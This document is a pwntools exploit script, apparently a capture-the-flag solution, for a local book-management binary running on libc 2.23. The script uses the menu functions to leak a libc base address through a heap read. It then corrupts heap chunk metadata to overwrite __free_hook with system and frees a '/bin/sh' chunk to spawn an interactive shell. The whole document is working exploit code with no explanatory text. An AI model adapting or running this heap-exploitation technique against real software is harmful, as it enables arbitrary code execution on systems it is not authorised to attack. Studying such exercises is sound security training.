1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context.log_level = "debug" sh = process("./bin") elf = ELF("bin") lib = ELF("libc-2.23.so") sh.recvuntil("What's you name?\n") sh.sendline("Fuck") def add(name,size,content): sh.recvuntil("5. exit\n") sh.sendline("1") sh.recvuntil("Give me the book's name\n") sh.sendline(name) sh.recvuntil("Give me the book's contest size\n") sh.send(str(size)) sh.recvuntil("Give me book's content") sh.send(content)
def edit(idx,content): sh.recvuntil("5. exit\n") sh.sendline("2") sh.recvuntil("Give me the book's id") sh.sendline(str(idx)) sh.recvuntil("Give me the book's contest size\n") sh.send(str(len(content))) sh.recvuntil("Give me book's content\n") sh.send(content)
def delete(idx,name): sh.recvuntil("5. exit\n") sh.sendline("4") sh.recvuntil("Give me the book's id\n") sh.sendline(str(idx)) sh.recvuntil("Input the book's name to confirm") sh.send(name) def show(): sh.recvuntil("5. exit\n") sh.sendline("3") add("a"*8,0x20,"1"*0x20) #0 add("b"*8,0x20,"2"*0x20) #1 add("c"*8,0x80,"3"*0x20) #2 it was broken add("d"*8,0x20,"4"*0x20) #3 add('e'*8,0x20,"5"*0x20) #4 add('f'*8,0x20,"6"*0x20) #5 delete(2,"c"*8+"\n") # delete 2 delete(1,"b"*8+"\n") # delete 1 add('c'*8,0x10,0x20*'a') #1 show() sh.recvuntil("content: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") libc_base = u64(sh.recv(6)+'\x00\x00') - 88 - 0x3C4B20 free_hook = libc_base + lib.symbols['__free_hook'] system_addr = libc_base + lib.symbols['system'] delete(3,'d'*8+"\n") add("g"*8,0x20,0x20 * '7' + p64(0) + p64(0x41) + 'e'*8+p64(0x0a)+p64(0)*2+p64(20)+p64(free_hook)) edit(4,p64(system_addr)) add("p"*8,0x20,"/bin/sh\x00") delete(3,'p'*8+'\n') log.success("PID: " + str(sh.pid)) log.success("libc_base: " + hex(libc_base)) log.success("free_hook: " + hex(free_hook)) log.success("system: " + hex(system_addr)) sh.interactive()
|